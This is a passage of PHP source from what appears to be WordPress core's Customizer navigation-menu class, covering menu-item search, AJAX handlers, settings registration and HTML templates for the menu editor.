$args = array( 'numberposts' => 10, 'offset' => 10 * $page, 'orderby' => 'date', 'order' => 'DESC', 'post_type' => $object, ); // Add suppression array to arguments for get_posts. if ( ! empty( $suppress_page_ids ) ) { $args['post__not_in'] = $suppress_page_ids; } $posts = array_merge( $posts, $important_pages, get_posts( $args ) ); foreach ( $posts as $post ) { $post_title = $post->post_title; if ( '' === $post_title ) { /* translators: %d: ID of a post. */ $post_title = sprintf( __( '#%d (no title)' ), $post->ID ); } $post_type_label = get_post_type_object( $post->post_type )->labels->singular_name; $post_states = get_post_states( $post ); if ( ! empty( $post_states ) ) { $post_type_label = implode( ',', $post_states ); } $items[] = array( 'id' => "post-{$post->ID}", 'title' => html_entity_decode( $post_title, ENT_QUOTES, get_bloginfo( 'charset' ) ), 'type' => 'post_type', 'type_label' => $post_type_label, 'object' => $post->post_type, 'object_id' => (int) $post->ID, 'url' => get_permalink( (int) $post->ID ), ); } } elseif ( 'taxonomy' === $type ) { $terms = get_terms( array( 'taxonomy' => $object, 'child_of' => 0, 'exclude' => '', 'hide_empty' => false, 'hierarchical' => 1, 'include' => '', 'number' => 10, 'offset' => 10 * $page, 'order' => 'DESC', 'orderby' => 'count', 'pad_counts' => false, ) ); if ( is_wp_error( $terms ) ) { return $terms; } foreach ( $terms as $term ) { $items[] = array( 'id' => "term-{$term->term_id}", 'title' => html_entity_decode( $term->name, ENT_QUOTES, get_bloginfo( 'charset' ) ), 'type' => 'taxonomy', 'type_label' => get_taxonomy( $term->taxonomy )->labels->singular_name, 'object' => $term->taxonomy, 'object_id' => (int) $term->term_id, 'url' => get_term_link( (int) $term->term_id, $term->taxonomy ), ); } } /** * Filters the available menu items. * * @since 4.3.0 * * @param array $items The array of menu items. * @param string $type The object type. * @param string $object The object name. * @param int $page The current page number. */ $items = apply_filters( 'customize_nav_menu_available_items', $items, $type, $object, $page ); return $items; } /** * Ajax handler for searching available menu items. * * @since 4.3.0 */ public function ajax_search_available_items() { check_ajax_referer( 'customize-menus', 'customize-menus-nonce' ); if ( ! current_user_can( 'edit_theme_options' ) ) { wp_die( -1 ); } if ( empty( $_POST['search'] ) ) { wp_send_json_error( 'nav_menus_missing_search_parameter' ); } $p = isset( $_POST['page'] ) ? absint( $_POST['page'] ) : 0; if ( $p < 1 ) { $p = 1; } $s = sanitize_text_field( wp_unslash( $_POST['search'] ) ); $items = $this->search_available_items_query( array( 'pagenum' => $p, 's' => $s, ) ); if ( empty( $items ) ) { wp_send_json_error( array( 'message' => __( 'No results found.' ) ) ); } else { wp_send_json_success( array( 'items' => $items ) ); } } /** * Performs post queries for available-item searching. * * Based on WP_Editor::wp_link_query(). * * @since 4.3.0 * * @param array $args Optional. Accepts 'pagenum' and 's' (search) arguments. * @return array Menu items. */ public function search_available_items_query( $args = array() ) { $items = array(); $post_type_objects = get_post_types( array( 'show_in_nav_menus' => true ), 'objects' ); $query = array( 'post_type' => array_keys( $post_type_objects ), 'suppress_filters' => true, 'update_post_term_cache' => false, 'update_post_meta_cache' => false, 'post_status' => 'publish', 'posts_per_page' => 20, ); $args['pagenum'] = isset( $args['pagenum'] ) ? absint( $args['pagenum'] ) : 1; $query['offset'] = $args['pagenum'] > 1 ? $query['posts_per_page'] * ( $args['pagenum'] - 1 ) : 0; if ( isset( $args['s'] ) ) { $query['s'] = $args['s']; } $posts = array(); // Prepend list of posts with nav_menus_created_posts search results on first page. $nav_menus_created_posts_setting = $this->manager->get_setting( 'nav_menus_created_posts' ); if ( 1 === $args['pagenum'] && $nav_menus_created_posts_setting && count( $nav_menus_created_posts_setting->value() ) > 0 ) { $stub_post_query = new WP_Query( array_merge( $query, array( 'post_status' => 'auto-draft', 'post__in' => $nav_menus_created_posts_setting->value(), 'posts_per_page' => -1, ) ) ); $posts = array_merge( $posts, $stub_post_query->posts ); } // Query posts. $get_posts = new WP_Query( $query ); $posts = array_merge( $posts, $get_posts->posts ); // Create items for posts. foreach ( $posts as $post ) { $post_title = $post->post_title; if ( '' === $post_title ) { /* translators: %d: ID of a post. */ $post_title = sprintf( __( '#%d (no title)' ), $post->ID ); } $post_type_label = $post_type_objects[ $post->post_type ]->labels->singular_name; $post_states = get_post_states( $post ); if ( ! empty( $post_states ) ) { $post_type_label = implode( ',', $post_states ); } $items[] = array( 'id' => 'post-' . $post->ID, 'title' => html_entity_decode( $post_title, ENT_QUOTES, get_bloginfo( 'charset' ) ), 'type' => 'post_type', 'type_label' => $post_type_label, 'object' => $post->post_type, 'object_id' => (int) $post->ID, 'url' => get_permalink( (int) $post->ID ), ); } // Query taxonomy terms. $taxonomies = get_taxonomies( array( 'show_in_nav_menus' => true ), 'names' ); $terms = get_terms( array( 'taxonomies' => $taxonomies, 'name__like' => $args['s'], 'number' => 20, 'hide_empty' => false, 'offset' => 20 * ( $args['pagenum'] - 1 ), ) ); // Check if any taxonomies were found. if ( ! empty( $terms ) ) { foreach ( $terms as $term ) { $items[] = array( 'id' => 'term-' . $term->term_id, 'title' => html_entity_decode( $term->name, ENT_QUOTES, get_bloginfo( 'charset' ) ), 'type' => 'taxonomy', 'type_label' => get_taxonomy( $term->taxonomy )->labels->singular_name, 'object' => $term->taxonomy, 'object_id' => (int) $term->term_id, 'url' => get_term_link( (int) $term->term_id, $term->taxonomy ), ); } } // Add "Home" link if search term matches. Treat as a page, but switch to custom on add. if ( isset( $args['s'] ) ) { // Only insert custom "Home" link if there's no Front Page $front_page = 'page' === get_option( 'show_on_front' ) ? (int) get_option( 'page_on_front' ) : 0; if ( empty( $front_page ) ) { $title = _x( 'Home', 'nav menu home label' ); $matches = function_exists( 'mb_stripos' ) ? false !== mb_stripos( $title, $args['s'] ) : false !== stripos( $title, $args['s'] ); if ( $matches ) { $items[] = array( 'id' => 'home', 'title' => $title, 'type' => 'custom', 'type_label' => __( 'Custom Link' ), 'object' => '', 'url' => home_url(), ); } } } /** * Filters the available menu items during a search request. * * @since 4.5.0 * * @param array $items The array of menu items. * @param array $args Includes 'pagenum' and 's' (search) arguments. */ $items = apply_filters( 'customize_nav_menu_searched_items', $items, $args ); return $items; } /** * Enqueue scripts and styles for Customizer pane. * * @since 4.3.0 */ public function enqueue_scripts() { wp_enqueue_style( 'customize-nav-menus' ); wp_enqueue_script( 'customize-nav-menus' ); $temp_nav_menu_setting = new WP_Customize_Nav_Menu_Setting( $this->manager, 'nav_menu[-1]' ); $temp_nav_menu_item_setting = new WP_Customize_Nav_Menu_Item_Setting( $this->manager, 'nav_menu_item[-1]' ); $num_locations = count( get_registered_nav_menus() ); if ( 1 === $num_locations ) { $locations_description = __( 'Your theme can display menus in one location.' ); } else { /* translators: %s: Number of menu locations. */ $locations_description = sprintf( _n( 'Your theme can display menus in %s location.', 'Your theme can display menus in %s locations.', $num_locations ), number_format_i18n( $num_locations ) ); } // Pass data to JS. $settings = array( 'allMenus' => wp_get_nav_menus(), 'itemTypes' => $this->available_item_types(), 'l10n' => array( 'untitled' => _x( '(no label)', 'missing menu item navigation label' ), 'unnamed' => _x( '(unnamed)', 'Missing menu name.' ), 'custom_label' => __( 'Custom Link' ), 'page_label' => get_post_type_object( 'page' )->labels->singular_name, /* translators: %s: Menu location. */ 'menuLocation' => _x( '(Currently set to: %s)', 'menu' ), 'locationsTitle' => 1 === $num_locations ? __( 'Menu Location' ) : __( 'Menu Locations' ), 'locationsDescription' => $locations_description, 'menuNameLabel' => __( 'Menu Name' ), 'newMenuNameDescription' => __( 'If your theme has multiple menus, giving them clear names will help you manage them.' ), 'itemAdded' => __( 'Menu item added' ), 'itemDeleted' => __( 'Menu item deleted' ), 'menuAdded' => __( 'Menu created' ), 'menuDeleted' => __( 'Menu deleted' ), 'movedUp' => __( 'Menu item moved up' ), 'movedDown' => __( 'Menu item moved down' ), 'movedLeft' => __( 'Menu item moved out of submenu' ), 'movedRight' => __( 'Menu item is now a sub-item' ), /* translators: ▸ is the unicode right-pointing triangle. %s: Section title in the Customizer. */ 'customizingMenus' => sprintf( __( 'Customizing ▸ %s' ), esc_html( $this->manager->get_panel( 'nav_menus' )->title ) ), /* translators: %s: Title of an invalid menu item. */ 'invalidTitleTpl' => __( '%s (Invalid)' ), /* translators: %s: Title of a menu item in draft status. */ 'pendingTitleTpl' => __( '%s (Pending)' ), /* translators: %d: Number of menu items found. */ 'itemsFound' => __( 'Number of items found: %d' ), /* translators: %d: Number of additional menu items found. */ 'itemsFoundMore' => __( 'Additional items found: %d' ), 'itemsLoadingMore' => __( 'Loading more results... please wait.' ), 'reorderModeOn' => __( 'Reorder mode enabled' ), 'reorderModeOff' => __( 'Reorder mode closed' ), 'reorderLabelOn' => esc_attr__( 'Reorder menu items' ), 'reorderLabelOff' => esc_attr__( 'Close reorder mode' ), ), 'settingTransport' => 'postMessage', 'phpIntMax' => PHP_INT_MAX, 'defaultSettingValues' => array( 'nav_menu' => $temp_nav_menu_setting->default, 'nav_menu_item' => $temp_nav_menu_item_setting->default, ), 'locationSlugMappedToName' => get_registered_nav_menus(), ); $data = sprintf( 'var _wpCustomizeNavMenusSettings = %s;', wp_json_encode( $settings ) ); wp_scripts()->add_data( 'customize-nav-menus', 'data', $data ); // This is copied from nav-menus.php, and it has an unfortunate object name of `menus`. $nav_menus_l10n = array( 'oneThemeLocationNoMenus' => null, 'moveUp' => __( 'Move up one' ), 'moveDown' => __( 'Move down one' ), 'moveToTop' => __( 'Move to the top' ), /* translators: %s: Previous item name. */ 'moveUnder' => __( 'Move under %s' ), /* translators: %s: Previous item name. */ 'moveOutFrom' => __( 'Move out from under %s' ), /* translators: %s: Previous item name. */ 'under' => __( 'Under %s' ), /* translators: %s: Previous item name. */ 'outFrom' => __( 'Out from under %s' ), /* translators: 1: Item name, 2: Item position, 3: Total number of items. */ 'menuFocus' => __( '%1$s. Menu item %2$d of %3$d.' ), /* translators: 1: Item name, 2: Item position, 3: Parent item name. */ 'subMenuFocus' => __( '%1$s. Sub item number %2$d under %3$s.' ), ); wp_localize_script( 'nav-menu', 'menus', $nav_menus_l10n ); } /** * Filters a dynamic setting's constructor args. * * For a dynamic setting to be registered, this filter must be employed * to override the default false value with an array of args to pass to * the WP_Customize_Setting constructor. * * @since 4.3.0 * * @param false|array $setting_args The arguments to the WP_Customize_Setting constructor. * @param string $setting_id ID for dynamic setting, usually coming from `$_POST['customized']`. * @return array|false */ public function filter_dynamic_setting_args( $setting_args, $setting_id ) { if ( preg_match( WP_Customize_Nav_Menu_Setting::ID_PATTERN, $setting_id ) ) { $setting_args = array( 'type' => WP_Customize_Nav_Menu_Setting::TYPE, 'transport' => 'postMessage', ); } elseif ( preg_match( WP_Customize_Nav_Menu_Item_Setting::ID_PATTERN, $setting_id ) ) { $setting_args = array( 'type' => WP_Customize_Nav_Menu_Item_Setting::TYPE, 'transport' => 'postMessage', ); } return $setting_args; } /** * Allow non-statically created settings to be constructed with custom WP_Customize_Setting subclass. * * @since 4.3.0 * * @param string $setting_class WP_Customize_Setting or a subclass. * @param string $setting_id ID for dynamic setting, usually coming from `$_POST['customized']`. * @param array $setting_args WP_Customize_Setting or a subclass. * @return string */ public function filter_dynamic_setting_class( $setting_class, $setting_id, $setting_args ) { unset( $setting_id ); if ( ! empty( $setting_args['type'] ) && WP_Customize_Nav_Menu_Setting::TYPE === $setting_args['type'] ) { $setting_class = 'WP_Customize_Nav_Menu_Setting'; } elseif ( ! empty( $setting_args['type'] ) && WP_Customize_Nav_Menu_Item_Setting::TYPE === $setting_args['type'] ) { $setting_class = 'WP_Customize_Nav_Menu_Item_Setting'; } return $setting_class; } /** * Add the customizer settings and controls. * * @since 4.3.0 */ public function customize_register() { $changeset = $this->manager->unsanitized_post_values(); // Preview settings for nav menus early so that the sections and controls will be added properly. $nav_menus_setting_ids = array(); foreach ( array_keys( $changeset ) as $setting_id ) { if ( preg_match( '/^(nav_menu_locations|nav_menu|nav_menu_item)\[/', $setting_id ) ) { $nav_menus_setting_ids[] = $setting_id; } } $settings = $this->manager->add_dynamic_settings( $nav_menus_setting_ids ); if ( $this->manager->settings_previewed() ) { foreach ( $settings as $setting ) { $setting->preview(); } } // Require JS-rendered control types. $this->manager->register_panel_type( 'WP_Customize_Nav_Menus_Panel' ); $this->manager->register_control_type( 'WP_Customize_Nav_Menu_Control' ); $this->manager->register_control_type( 'WP_Customize_Nav_Menu_Name_Control' ); $this->manager->register_control_type( 'WP_Customize_Nav_Menu_Locations_Control' ); $this->manager->register_control_type( 'WP_Customize_Nav_Menu_Auto_Add_Control' ); $this->manager->register_control_type( 'WP_Customize_Nav_Menu_Item_Control' ); // Create a panel for Menus. $description = '<p>' . __( 'This panel is used for managing navigation menus for content you have already published on your site. You can create menus and add items for existing content such as pages, posts, categories, tags, formats, or custom links.' ) . '</p>'; if ( current_theme_supports( 'widgets' ) ) { $description .= '<p>' . sprintf( /* translators: %s: URL to the Widgets panel of the Customizer. */ __( 'Menus can be displayed in locations defined by your theme or in <a href="%s">widget areas</a> by adding a “Navigation Menu” widget.' ), "javascript:wp.customize.panel( 'widgets' ).focus();" ) . '</p>'; } else { $description .= '<p>' . __( 'Menus can be displayed in locations defined by your theme.' ) . '</p>'; } /* * Once multiple theme supports are allowed in WP_Customize_Panel, * this panel can be restricted to themes that support menus or widgets. */ $this->manager->add_panel( new WP_Customize_Nav_Menus_Panel( $this->manager, 'nav_menus', array( 'title' => __( 'Menus' ), 'description' => $description, 'priority' => 100, ) ) ); $menus = wp_get_nav_menus(); // Menu locations. $locations = get_registered_nav_menus(); $num_locations = count( $locations ); if ( 1 == $num_locations ) { $description = '<p>' . __( 'Your theme can display menus in one location. Select which menu you would like to use.' ) . '</p>'; } else { /* translators: %s: Number of menu locations. */ $description = '<p>' . sprintf( _n( 'Your theme can display menus in %s location. Select which menu you would like to use.', 'Your theme can display menus in %s locations. Select which menu appears in each location.', $num_locations ), number_format_i18n( $num_locations ) ) . '</p>'; } if ( current_theme_supports( 'widgets' ) ) { /* translators: URL to the Widgets panel of the Customizer. */ $description .= '<p>' . sprintf( __( 'If your theme has widget areas, you can also add menus there. Visit the <a href="%s">Widgets panel</a> and add a “Navigation Menu widget” to display a menu in a sidebar or footer.' ), "javascript:wp.customize.panel( 'widgets' ).focus();" ) . '</p>'; } $this->manager->add_section( 'menu_locations', array( 'title' => 1 === $num_locations ? _x( 'View Location', 'menu locations' ) : _x( 'View All Locations', 'menu locations' ), 'panel' => 'nav_menus', 'priority' => 30, 'description' => $description, ) ); $choices = array( '0' => __( '— Select —' ) ); foreach ( $menus as $menu ) { $choices[ $menu->term_id ] = wp_html_excerpt( $menu->name, 40, '…' ); } // Attempt to re-map the nav menu location assignments when previewing a theme switch. $mapped_nav_menu_locations = array(); if ( ! $this->manager->is_theme_active() ) { $theme_mods = get_option( 'theme_mods_' . $this->manager->get_stylesheet(), array() ); // If there is no data from a previous activation, start fresh. if ( empty( $theme_mods['nav_menu_locations'] ) ) { $theme_mods['nav_menu_locations'] = array(); } $mapped_nav_menu_locations = wp_map_nav_menu_locations( $theme_mods['nav_menu_locations'], $this->original_nav_menu_locations ); } foreach ( $locations as $location => $description ) { $setting_id = "nav_menu_locations[{$location}]"; $setting = $this->manager->get_setting( $setting_id ); if ( $setting ) { $setting->transport = 'postMessage'; remove_filter( "customize_sanitize_{$setting_id}", 'absint' ); add_filter( "customize_sanitize_{$setting_id}", array( $this, 'intval_base10' ) ); } else { $this->manager->add_setting( $setting_id, array( 'sanitize_callback' => array( $this, 'intval_base10' ), 'theme_supports' => 'menus', 'type' => 'theme_mod', 'transport' => 'postMessage', 'default' => 0, ) ); } // Override the assigned nav menu location if mapped during previewed theme switch. if ( empty( $changeset[ $setting_id ] ) && isset( $mapped_nav_menu_locations[ $location ] ) ) { $this->manager->set_post_value( $setting_id, $mapped_nav_menu_locations[ $location ] ); } $this->manager->add_control( new WP_Customize_Nav_Menu_Location_Control( $this->manager, $setting_id, array( 'label' => $description, 'location_id' => $location, 'section' => 'menu_locations', 'choices' => $choices, ) ) ); } // Used to denote post states for special pages. if ( ! function_exists( 'get_post_states' ) ) { require_once ABSPATH . 'wp-admin/includes/template.php'; } // Register each menu as a Customizer section, and add each menu item to each menu. foreach ( $menus as $menu ) { $menu_id = $menu->term_id; // Create a section for each menu. $section_id = 'nav_menu[' . $menu_id . ']'; $this->manager->add_section( new WP_Customize_Nav_Menu_Section( $this->manager, $section_id, array( 'title' => html_entity_decode( $menu->name, ENT_QUOTES, get_bloginfo( 'charset' ) ), 'priority' => 10, 'panel' => 'nav_menus', ) ) ); $nav_menu_setting_id = 'nav_menu[' . $menu_id . ']'; $this->manager->add_setting( new WP_Customize_Nav_Menu_Setting( $this->manager, $nav_menu_setting_id, array( 'transport' => 'postMessage', ) ) ); // Add the menu contents. $menu_items = (array) wp_get_nav_menu_items( $menu_id ); foreach ( array_values( $menu_items ) as $i => $item ) { // Create a setting for each menu item (which doesn't actually manage data, currently). $menu_item_setting_id = 'nav_menu_item[' . $item->ID . ']'; $value = (array) $item; if ( empty( $value['post_title'] ) ) { $value['title'] = ''; } $value['nav_menu_term_id'] = $menu_id; $this->manager->add_setting( new WP_Customize_Nav_Menu_Item_Setting( $this->manager, $menu_item_setting_id, array( 'value' => $value, 'transport' => 'postMessage', ) ) ); // Create a control for each menu item. $this->manager->add_control( new WP_Customize_Nav_Menu_Item_Control( $this->manager, $menu_item_setting_id, array( 'label' => $item->title, 'section' => $section_id, 'priority' => 10 + $i, ) ) ); } // Note: other controls inside of this section get added dynamically in JS via the MenuSection.ready() function. } // Add the add-new-menu section and controls. $this->manager->add_section( 'add_menu', array( 'type' => 'new_menu', 'title' => __( 'New Menu' ), 'panel' => 'nav_menus', 'priority' => 20, ) ); $this->manager->add_setting( new WP_Customize_Filter_Setting( $this->manager, 'nav_menus_created_posts', array( 'transport' => 'postMessage', 'type' => 'option', // To prevent theme prefix in changeset. 'default' => array(), 'sanitize_callback' => array( $this, 'sanitize_nav_menus_created_posts' ), ) ) ); } /** * Get the base10 intval. * * This is used as a setting's sanitize_callback; we can't use just plain * intval because the second argument is not what intval() expects. * * @since 4.3.0 * * @param mixed $value Number to convert. * @return int Integer. */ public function intval_base10( $value ) { return intval( $value, 10 ); } /** * Return an array of all the available item types. * * @since 4.3.0 * @since 4.7.0 Each array item now includes a `$type_label` in addition to `$title`, `$type`, and `$object`. * * @return array The available menu item types. */ public function available_item_types() { $item_types = array(); $post_types = get_post_types( array( 'show_in_nav_menus' => true ), 'objects' ); if ( $post_types ) { foreach ( $post_types as $slug => $post_type ) { $item_types[] = array( 'title' => $post_type->labels->name, 'type_label' => $post_type->labels->singular_name, 'type' => 'post_type', 'object' => $post_type->name, ); } } $taxonomies = get_taxonomies( array( 'show_in_nav_menus' => true ), 'objects' ); if ( $taxonomies ) { foreach ( $taxonomies as $slug => $taxonomy ) { if ( 'post_format' === $taxonomy && ! current_theme_supports( 'post-formats' ) ) { continue; } $item_types[] = array( 'title' => $taxonomy->labels->name, 'type_label' => $taxonomy->labels->singular_name, 'type' => 'taxonomy', 'object' => $taxonomy->name, ); } } /** * Filters the available menu item types. * * @since 4.3.0 * @since 4.7.0 Each array item now includes a `$type_label` in addition to `$title`, `$type`, and `$object`. * * @param array $item_types Navigation menu item types. */ $item_types = apply_filters( 'customize_nav_menu_available_item_types', $item_types ); return $item_types; } /** * Add a new `auto-draft` post. * * @since 4.7.0 * * @param array $postarr { * Post array. Note that post_status is overridden to be `auto-draft`. * * @var string $post_title Post title. Required. * @var string $post_type Post type. Required. * @var string $post_name Post name. * @var string $post_content Post content. * } * @return WP_Post|WP_Error Inserted auto-draft post object or error. */ public function insert_auto_draft_post( $postarr ) { if ( ! isset( $postarr['post_type'] ) ) { return new WP_Error( 'unknown_post_type', __( 'Invalid post type.' ) ); } if ( empty( $postarr['post_title'] ) ) { return new WP_Error( 'empty_title', __( 'Empty title.' ) ); } if ( ! empty( $postarr['post_status'] ) ) { return new WP_Error( 'status_forbidden', __( 'Status is forbidden.' ) ); } /* * If the changeset is a draft, this will change to draft the next time the changeset * is updated; otherwise, auto-draft will persist in autosave revisions, until save. */ $postarr['post_status'] = 'auto-draft'; // Auto-drafts are allowed to have empty post_names, so it has to be explicitly set. if ( empty( $postarr['post_name'] ) ) { $postarr['post_name'] = sanitize_title( $postarr['post_title'] ); } if ( ! isset( $postarr['meta_input'] ) ) { $postarr['meta_input'] = array(); } $postarr['meta_input']['_customize_draft_post_name'] = $postarr['post_name']; $postarr['meta_input']['_customize_changeset_uuid'] = $this->manager->changeset_uuid(); unset( $postarr['post_name'] ); add_filter( 'wp_insert_post_empty_content', '__return_false', 1000 ); $r = wp_insert_post( wp_slash( $postarr ), true ); remove_filter( 'wp_insert_post_empty_content', '__return_false', 1000 ); if ( is_wp_error( $r ) ) { return $r; } else { return get_post( $r ); } } /** * Ajax handler for adding a new auto-draft post. * * @since 4.7.0 */ public function ajax_insert_auto_draft_post() { if ( ! check_ajax_referer( 'customize-menus', 'customize-menus-nonce', false ) ) { wp_send_json_error( 'bad_nonce', 400 ); } if ( ! current_user_can( 'customize' ) ) { wp_send_json_error( 'customize_not_allowed', 403 ); } if ( empty( $_POST['params'] ) || ! is_array( $_POST['params'] ) ) { wp_send_json_error( 'missing_params', 400 ); } $params = wp_unslash( $_POST['params'] ); $illegal_params = array_diff( array_keys( $params ), array( 'post_type', 'post_title' ) ); if ( ! empty( $illegal_params ) ) { wp_send_json_error( 'illegal_params', 400 ); } $params = array_merge( array( 'post_type' => '', 'post_title' => '', ), $params ); if ( empty( $params['post_type'] ) || ! post_type_exists( $params['post_type'] ) ) { status_header( 400 ); wp_send_json_error( 'missing_post_type_param' ); } $post_type_object = get_post_type_object( $params['post_type'] ); if ( ! current_user_can( $post_type_object->cap->create_posts ) || ! current_user_can( $post_type_object->cap->publish_posts ) ) { status_header( 403 ); wp_send_json_error( 'insufficient_post_permissions' ); } $params['post_title'] = trim( $params['post_title'] ); if ( '' === $params['post_title'] ) { status_header( 400 ); wp_send_json_error( 'missing_post_title' ); } $r = $this->insert_auto_draft_post( $params ); if ( is_wp_error( $r ) ) { $error = $r; if ( ! empty( $post_type_object->labels->singular_name ) ) { $singular_name = $post_type_object->labels->singular_name; } else { $singular_name = __( 'Post' ); } $data = array( /* translators: 1: Post type name, 2: Error message. */ 'message' => sprintf( __( '%1$s could not be created: %2$s' ), $singular_name, $error->get_error_message() ), ); wp_send_json_error( $data ); } else { $post = $r; $data = array( 'post_id' => $post->ID, 'url' => get_permalink( $post->ID ), ); wp_send_json_success( $data ); } } /** * Print the JavaScript templates used to render Menu Customizer components. * * Templates are imported into the JS use wp.template. * * @since 4.3.0 */ public function print_templates() { ?> <script type="text/html" id="tmpl-available-menu-item"> <li id="menu-item-tpl-{{ data.id }}" class="menu-item-tpl" data-menu-item-id="{{ data.id }}"> <div class="menu-item-bar"> <div class="menu-item-handle"> <span class="item-type" aria-hidden="true">{{ data.type_label }}</span> <span class="item-title" aria-hidden="true"> <span class="menu-item-title<# if ( ! data.title ) { #> no-title<# } #>">{{ data.title || wp.customize.Menus.data.l10n.untitled }}</span> </span> <button type="button" class="button-link item-add"> <span class="screen-reader-text"> <?php /* translators: 1: Title of a menu item, 2: Type of a menu item. */ printf( __( 'Add to menu: %1$s (%2$s)' ), '{{ data.title || wp.customize.Menus.data.l10n.untitled }}', '{{ data.type_label }}' ); ?> </span> </button> </div> </div> </li> </script> <script type="text/html" id="tmpl-menu-item-reorder-nav"> <div class="menu-item-reorder-nav"> <?php printf( '<button type="button" class="menus-move-up">%1$s</button><button type="button" class="menus-move-down">%2$s</button><button type="button" class="menus-move-left">%3$s</button><button type="button" class="menus-move-right">%4$s</button>', __( 'Move up' ), __( 'Move down' ), __( 'Move one level up' ), __( 'Move one level down' ) ); ?> </div> </script> <script type="text/html" id="tmpl-nav-menu-delete-button"> <div class="menu-delete-item"> <button type="button" class="button-link button-link-delete"> <?php _e( 'Delete Menu' ); ?> </button> </div> </script> <script type="text/html" id="tmpl-nav-menu-submit-new-button"> <p id="customize-new-menu-submit-description"><?php _e( 'Click “Next” to start adding links to your new menu.' ); ?></p> <button id="customize-new-menu-submit" type="button" class="button" aria-describedby="customize-new-menu-submit-description"><?php _e( 'Next' ); ?></button> </script> <script type="text/html" id="tmpl-nav-menu-locations-header"> <span class="customize-control-title customize-section-title-menu_locations-heading">{{ data.l10n.locationsTitle }}</span> <p class="customize-control-description customize-section-title-menu_locations-description">{{ data.l10n.locationsDescription }}</p> </script> <script type="text/html" id="tmpl-nav-menu-create-menu-section-title"> <p class="add-new-menu-notice"> <?php _e( 'It doesn’t look like your site has any menus yet. Want to build one? Click the button to start.' ); ?> </p> <p class="add-new-menu-notice"> <?php _e( 'You’ll create a menu, assign it a location, and add menu items like links to pages and categories. If your theme has multiple menu areas, you might need to create more than one.' ); ?> </p> <h3> <button type="button" class="button customize-add-menu-button"> <?php _e( 'Create New Menu' ); ?> </button> </h3> </script> <?php } /** * Print the HTML template used to render the add-menu-item frame. * * @since 4.3.0 */ public function available_items_template() { ?> <div id="available-menu-items" class="accordion-container"> <div class="customize-section-title"> <button type="button" class="customize-section-back" tabindex="-1"> <span class="screen-reader-text"><?php _e( 'Back' ); ?></span> </button> <h3> <span class="customize-action"> <?php /* translators: ▸ is the unicode right-pointing triangle. %s: Section title in the Customizer. */ printf( __( 'Customizing ▸ %s' ), esc_html( $this->manager->get_panel( 'nav_menus' )->title ) ); ?> </span> <?php _e( 'Add Menu Items' ); ?> </h3> </div> <div id="available-menu-items-search" class="accordion-section cannot-expand"> <div class="accordion-section-title"> <label class="screen-reader-text" for="menu-items-search"><?php _e( 'Search Menu Items' ); ?></label> <input type="text" id="menu-items-search" placeholder="<?php esc_attr_e( 'Search menu items…' ); ?>" aria-describedby="menu-items-search-desc" /> <p class="screen-reader-text" id="menu-items-search-desc"><?php _e( 'The search results will be updated as you type.' ); ?></p> <span class="spinner"></span> </div> <div class="search-icon" aria-hidden="true"></div> <button type="button" class="clear-results"><span class="screen-reader-text"><?php _e( 'Clear Results' ); ?></span></button> <ul class="accordion-section-content available-menu-items-list" data-type="search"></ul> </div> <?php // Ensure the page post type comes first in the list. $item_types = $this->available_item_types(); $page_item_type = null; foreach ( $item_types as $i => $item_type ) { if ( isset( $item_type['object'] ) && 'page' === $item_type['object'] ) { $page_item_type = $item_type; unset( $item_types[ $i ] ); } } $this->print_custom_links_available_menu_item(); if ( $page_item_type ) { $this->print_post_type_container( $page_item_type ); } // Containers for per-post-type item browsing; items are added with JS. foreach ( $item_types as $item_type ) { $this->print_post_type_container( $item_type ); } ?> </div><!-- #available-menu-items --> <?php } /** * Print the markup for new menu items. * * To be used in the template #available-menu-items. * * @since 4.7.0 * * @param array $available_item_type Menu item data to output, including title, type, and label. * @return void */ protected function print_post_type_container( $available_item_type ) { $id = sprintf( 'available-menu-items-%s-%s', $available_item_type['type'], $available_item_type['object'] ); ?> <div id="<?php echo esc_attr( $id ); ?>" class="accordion-section"> <h4 class="accordion-section-title" role="presentation"> <?php echo esc_html( $available_item_type['title'] ); ?> <span class="spinner"></span> <span class="no-items"><?php _e( 'No items' ); ?></span> <button type="button" class="button-link" aria-expanded="false"> <span class="screen-reader-text"> <?php /* translators: %s: Title of a section with menu items. */ printf( __( 'Toggle section: %s' ), esc_html( $available_item_type['title'] ) ); ?> </span> <span class="toggle-indicator" aria-hidden="true"></span> </button> </h4> <div class="accordion-section-content"> <?php if ( 'post_type' === $available_item_type['type'] ) : ?> <?php $post_type_obj = get_post_type_object( $available_item_type['object'] ); ?> <?php if ( current_user_can( $post_type_obj->cap->create_posts ) && current_user_can( $post_type_obj->cap->publish_posts ) ) : ?> <div class="new-content-item"> <label for="<?php echo esc_attr( 'create-item-input-' . $available_item_type['object'] ); ?>" class="screen-reader-text"><?php echo esc_html( $post_type_obj->labels->add_new_item ); ?></label> <input type="text" id="<?php echo esc_attr( 'create-item-input-' . $available_item_type['object'] ); ?>" class="create-item-input" placeholder="<?php echo esc_attr( $post_type_obj->labels->add_new_item ); ?>"> <button type="button" class="button add-content"><?php _e( 'Add' ); ?></button> </div> <?php endif; ?> <?php endif; ?> <ul class="available-menu-items-list" data-type="<?php echo esc_attr( $available_item_type['type'] ); ?>" data-object="<?php echo esc_attr( $available_item_type['object'] ); ?>" data-type_label="<?php echo esc_attr( isset( $available_item_type['type_label'] ) ? $available_item_type['type_label'] : $available_item_type['type'] ); ?>"></ul> </div> </div> <?php } /** * Print the markup for available menu item custom links. * * @since 4.7.0 * * @return void */ protected function print_custom_links_available_menu_item() { ?> <div id="new-custom-menu-item" class="accordion-section"> <h4 class="accordion-section-title" role="presentation"> <?php _e( 'Custom Links' ); ?> <button type="button" class="button-link" aria-expanded="false"> <span class="screen-reader-text"><?php _e( 'Toggle section: Custom Links' ); ?></span> <span class="toggle-indicator" aria-hidden="true"></span> </button> </h4> <div class="accordion-section-content customlinkdiv"> <input type="hidden" value="custom" id="custom-menu-item-type" name="menu-item[-1][menu-item-type]" /> <p id="menu-item-url-wrap" class="wp-clearfix"> <label class="howto" for="custom-menu-item-url"><?php _e( 'URL' ); ?></label> <input id="custom-menu-item-url" name="menu-item[-1][menu-item-url]" type="text" class="code menu-item-textbox" placeholder="https://"> </p> <p id="menu-item-name-wrap" class="wp-clearfix"> <label class="howto" for="custom-menu-item-name"><?php _e( 'Link Text' ); ?></label> <input id="custom-menu-item-name" name="menu-item[-1][menu-item-title]" type="text" class="regular-text menu-item-textbox"> </p> <p class="button-controls"> <span class="add-to-menu"> <input type="submit" class="button submit-add-to-menu right" value="<?php esc_attr_e( 'Add to Menu' ); ?>" name="add-custom-menu-item" id="custom-menu-item-submit"> <span class="spinner"></span> </span> </p> </div> </div> <?php } // // Start functionality specific to partial-refresh of menu changes in Customizer preview. // 